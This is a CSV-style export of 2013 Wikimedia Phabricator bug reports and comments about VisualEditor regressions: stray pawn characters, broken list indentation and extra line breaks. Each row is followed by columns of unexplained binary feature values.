+227992,VisualEditor: [Regression] Link inspector button doesn't work,"Looks like the format for providing toolbar options was changed, so the MW override isn't working. As a result we're rendering a link button instead of an mwLink. Ctrl+K works because the mwLink is still registered with the command registry (should commands work without the button being rendered?)",,,1368625612,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-glwrzzfq4ph2os2n2f6r,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+50468,VisualEditor: Pawn appears when creating new list item in Firefox,"1. Go to a page with a bullet or a numbered list. Edit with VisualEditor.
+
+2. Place the cursor at the end of an item of the list. Press enter to create a new item. A new item has been created and the cursor is at the beginning, ready to receive input.
+
+3. Type something.
+
+EXPECTED
+
+You are typing in the new line.
+
+
+ACTUAL OUTCOME 
+
+A pawn appears at the end of the previous line and there you can also find the text you are typing. If you press Enter again the mess continues to grow. There is no way to clean the scene of the crime. The only way is to jump to ""Edit source"".
+
+This happens at least at mediawiki.org with Firefox 22.0a2 (2013-05-07).
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1368561900,1371142270.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-52eneev7kw444gspkrww,task_description,resolved,True,c1,1,False,False,True,-7,,0,1,0,1,0,1,1,0,0,1,1,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1
+225176,VisualEditor: Pawn appears when creating new list item in Firefox,"Solid like a rock! 
+
+https://www.mediawiki.org/w/index.php?title=User%3AQgil%2FSandbox&diff=710845&oldid=710844
+
+Thank you very much. The bug I filed has been fixed. Resolving accordingly.",,,1371142270,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-52eneev7kw444gspkrww,task_subcomment,,True,c1,2,False,,,-3,,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0
+225170,VisualEditor: Pawn appears when creating new list item in Firefox,@Quim: Are you still able to reproduce this problem? I can't.,,,1371073013,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-52eneev7kw444gspkrww,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,1
+225163,VisualEditor: Pawn appears when creating new list item in Firefox,"I'm getting similar behaviour on en.wp if you use the slug at the beginning of the article, then change your mind and try to delete the text you've inserted. General behaviour with slug lines?",,,1370177174,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-52eneev7kw444gspkrww,task_subcomment,,True,c1,1,False,,,-5,,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+50390,VisualEditor: Indenting & unindenting multiple list items fails,"Problems in IndentationAction that Ed it working on right now.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1368392940,1368471149.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-r45sjfea3cr6rhagxvom,task_description,resolved,True,c1,1,True,False,True,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+220747,VisualEditor: Indenting & unindenting multiple list items fails,Code is merged into wmf4.,,,1368471026,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-r45sjfea3cr6rhagxvom,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+220742,VisualEditor: Indenting & unindenting multiple list items fails,Related URL: https://gerrit.wikimedia.org/r/63485 (Gerrit Change I5ce0c385214f30c5e5c66b5b5b755c9937267cd0),,,1368466116,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-r45sjfea3cr6rhagxvom,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+220736,VisualEditor: Indenting & unindenting multiple list items fails,*** Bug 48069 has been marked as a duplicate of this bug. ***,,,1368465449,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-r45sjfea3cr6rhagxvom,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+220731,VisualEditor: Indenting & unindenting multiple list items fails,"Problem here was with surface fragments and translate range in the data model. The ranges were getting out of sync, so after (un)indenting the first item, and subsequent ones would fail.",,,1368465399,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-r45sjfea3cr6rhagxvom,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+220724,VisualEditor: Indenting & unindenting multiple list items fails,Fixed by https://gerrit.wikimedia.org/r/#/c/63394/,,,1368393902,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-r45sjfea3cr6rhagxvom,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+50386,VisualEditor: [Regression] Lists badly broken again,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1368386340,1368477644.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-iowbxqgcysomfeaijbgp,task_description,resolved,True,c1,1,True,False,True,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+220417,VisualEditor: [Regression] Lists badly broken again,"verified for any page in http://en.wikipedia.beta.wmflabs.org/
+using Chrome Version 26.0.1410.65 MAC OS X 10.8.5",,,1384458232,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-iowbxqgcysomfeaijbgp,task_subcomment,,True,c1,3,False,,,19,,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+220413,VisualEditor: [Regression] Lists badly broken again,Fixed in https://gerrit.wikimedia.org/r/63413. Will close after it gets merged.,,,1368428040,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-iowbxqgcysomfeaijbgp,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+220410,VisualEditor: [Regression] Lists badly broken again,Related URL: https://gerrit.wikimedia.org/r/63413 (Gerrit Change I8d7aeffc8166487806e3489b054f508c5e9418ff),,,1368427993,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-iowbxqgcysomfeaijbgp,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+220407,VisualEditor: [Regression] Lists badly broken again,"By stepping back through the commit log I've isolated it down to this commit by Inez: https://gerrit.wikimedia.org/r/#/c/63223/1
+
+Assigning the bug to him.",,,1368388912,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-iowbxqgcysomfeaijbgp,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,0,0
+220404,VisualEditor: [Regression] Lists badly broken again,"1. Hitting return inside a list item cases the paragraph to split, not the listitem (that's what shift-return should do)
+2. Unlisting the two line list item created in 1. causes the second line to completely disappear
+3. Listing two paragraphs only lists the first one, and adds an extra paragraph between them",,,1368386572,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-iowbxqgcysomfeaijbgp,task_subcomment,,True,c1,1,True,,,-8,,0,0,1,0,1,1,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,1,0,0,1
+50385,VisualEditor: Delete contents of slugged paragraph results in double line break visible,"* Create a page starting with a list ('* list' is sufficient)
+* Enter some text into the slugged paragraph above the list, then delete it with backspaces
+* The paragraph now doubles in height, inspecting the DOM you see a <br> has appeared from nowhere:
+  <p><br><span slug></span></p>
+
+Also this paragraph gets sent to Parsoid resulting in an extra line break.
+
+Removing the text by using undo doesn't result in this bug.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1368384600,1371781383.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-vv7dhxcel5yesltb4ctu,task_description,resolved,True,c1,1,True,False,True,-8,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+220362,VisualEditor: Delete contents of slugged paragraph results in double line break visible,This is fixed with my refactor to handleDelete method.,,,1372369906,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-vv7dhxcel5yesltb4ctu,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+220359,VisualEditor: Delete contents of slugged paragraph results in double line break visible,Deeming that this is now fixed.,,,1371781383,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vv7dhxcel5yesltb4ctu,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+220355,VisualEditor: Delete contents of slugged paragraph results in double line break visible,"(In reply to comment #1)
+> We are not placing slugs around lists anymore so this bug can't be
+> reproduced, however I know what was root cause of it (native handling of 
+> deletion) and I'm working on it now.
+
+Is this bug still valid? I can't reproduce now, using a thumb image (rather than a list) to create the block item.",,,1371520995,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vv7dhxcel5yesltb4ctu,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,1,0,0,1,0,1,1,0,1,0,0,1
+220351,VisualEditor: Delete contents of slugged paragraph results in double line break visible,"We are not placing slugs around lists anymore so this bug can't be reproduced, however I know what was root cause of it (native handling of deletion) and I'm working on it now.",,,1371072856,,PHID-USER-s7sn3zjthnxvep34c5ho,False,,,PHID-TASK-vv7dhxcel5yesltb4ctu,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+50346,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","Lately, I've been noticing random pawn characters at the end of paragraphs all over English Wikipedia. The source of these pawns was a mystery to me until I tried using the Visual Editor today. As soon as I started typing in the editor, it inserted a pawn at the end of the line I was editing.
+
+The pawn in question is the white pawn, typically the first piece to move in a game of chess. This makes me wonder if perhaps the visual editor has become sentient and is trying to initiate a friendly game with the editor. Unfortunately, playing chess on Wikipedia was banned in 2006 as a violation of WP:NOT,[1] so it's probably a good idea if we eliminate this sort of behavior.
+
+Actual character: ♙
+Unicode value: 2659
+UTF-8 value: E2 99 99
+Browser: Firefox
+
+1. https://en.wikipedia.org/wiki/Wikipedia:Miscellany_for_deletion/Wikipedia:Chess_championship
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1368250320,1368498256.0,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,False,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_description,resolved,True,c1,1,False,False,True,-8,,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+218164,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","verified for any page https://test2.wikipedia.org/
+
+using chrome Version 26.0.1410.65 and firefox 25.",,,1384457027,,PHID-USER-24djtv3gj5gua2y6u2g5,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,3,False,,,19,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+218157,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption",Confirming that this is fixed in master and wmf4; deployed in the normal deployment train.,,,1368498108,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,True,,,-7,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+218151,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","(In reply to comment #4)
+> Pawn insertion from May 3:
+> https://en.wikipedia.org/w/index.
+> php?title=Rubik%27s_360&diff=553360286&oldid=540708795
+
+These kind of issues are precisely why there's a mandatory pre-save diff for users to read and agree it's fine. If there's a pawn inserted into the article, you're not meant to press save!",,,1368390197,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+218145,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","(In reply to comment #1)
+> Steps to reproduce:
+> 1. Log in and turn on the visual editor.
+> 2. Go to a random article like ""Sundance Meadows Airport""
+> 3. Click the Edit tab
+> 4. After the cursor appears on the page, type a character
+> 
+> You will then see a white pawn at the end of the line of text you are
+> editing.
+
+Thanks; have updated the bug report accordingly.
+
+> Interestingly, it only seems to happen on articles that insert the cursor
+> into a blank line at the top of the article. I'm not sure what determines
+> that behavior, but it seems to be the behavior for the vast majority of
+> en.wiki articles.
+
+That is bug 47790. It's not really a blank line in the document; it's the ""potential"" place to insert some new content, until you click into it and insert some, at which point it's whatever you type in. But it's not really very obvious to users what it is.
+
+> The only article I haven't been able to reproduce the bug at so far
+> is Lalage:
+> https://en.wikipedia.org/wiki/Lalage
+
+A block-level slug only appears if the page starts with a template or other kind of generated content; any page that starts with one will get one (hence the pervasiveness). The alternative is not giving users the ability to insert content before a template if it happened to be at the start of a document, which would be even more confusing.",,,1368390088,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,True,,,-8,,1,0,1,0,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,1
+218139,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","Can't reproduce this is master. It may have already been fixed, pending release?",,,1368379669,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0
+218135,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","**fran** wrote:
+
+Pawn ahoy: https://gerrit.wikimedia.org/r/gitweb?p=mediawiki/extensions/VisualEditor.git;a=blob;f=modules/ve/ce/ve.ce.Surface.js;h=7ad07c54370cb585ca264f78872fee0c83bd77a5;hb=HEAD#l1009
+
+""git blame"" says this section was worked on by Christian Williams, so maybe he'll know what's going on?",,,1368303523,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,0
+218130,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","Pawn insertion from May 3:
+https://en.wikipedia.org/w/index.php?title=Rubik%27s_360&diff=553360286&oldid=540708795",,,1368255099,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+218124,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption",Confirmed in Safari and Chrome as well.,,,1368252786,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+218117,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","I also can't reproduce the bug in my user sandbox:
+https://en.wikipedia.org/wiki/User:Kaldari/sandbox",,,1368251518,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+218111,"VisualEditor: Editing a block level slug causes pawns to be inserted, content corruption","Steps to reproduce:
+1. Log in and turn on the visual editor.
+2. Go to a random article like ""Sundance Meadows Airport""
+3. Click the Edit tab
+4. After the cursor appears on the page, type a character
+
+You will then see a white pawn at the end of the line of text you are editing.
+
+Interestingly, it only seems to happen on articles that insert the cursor into a blank line at the top of the article. I'm not sure what determines that behavior, but it seems to be the behavior for the vast majority of en.wiki articles. The only article I haven't been able to reproduce the bug at so far is Lalage:
+https://en.wikipedia.org/wiki/Lalage",,,1368251303,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-icuv2sbiyqbhbfbwtar6,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+50287,VisualEditor: Aborted empty list creates a pawn,"Go to http://en.wikipedia.org/wiki/Content_Management_Interoperability_Services
+Put the cursor somewhere in the text.
+Type ""Enter"" 2 times.
+Type ""Up"".
+Click Bullet List
+Type Enter
+Type Up
+Type Delete
+
+Wild pawn appears.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1368089940,1368206273.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-bxvvumd26q44ufzm7ua5,task_description,resolved,True,c1,1,False,False,True,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+214464,VisualEditor: Aborted empty list creates a pawn,Merged into master; will be deployed from Monday.,,,1368206349,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bxvvumd26q44ufzm7ua5,task_subcomment,,True,c1,1,True,,,-8,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+214458,VisualEditor: Aborted empty list creates a pawn,"(In reply to comment #3)
+> Related URL: https://gerrit.wikimedia.org/r/63102 (Gerrit Change
+> If22d9b904b8861e24d56944d791545635b2e4254)
+
+Merged.",,,1368206273,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-bxvvumd26q44ufzm7ua5,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+214450,VisualEditor: Aborted empty list creates a pawn,Related URL: https://gerrit.wikimedia.org/r/63102 (Gerrit Change If22d9b904b8861e24d56944d791545635b2e4254),,,1368148455,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-bxvvumd26q44ufzm7ua5,task_subcomment,,True,c1,1,False,,,-8,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
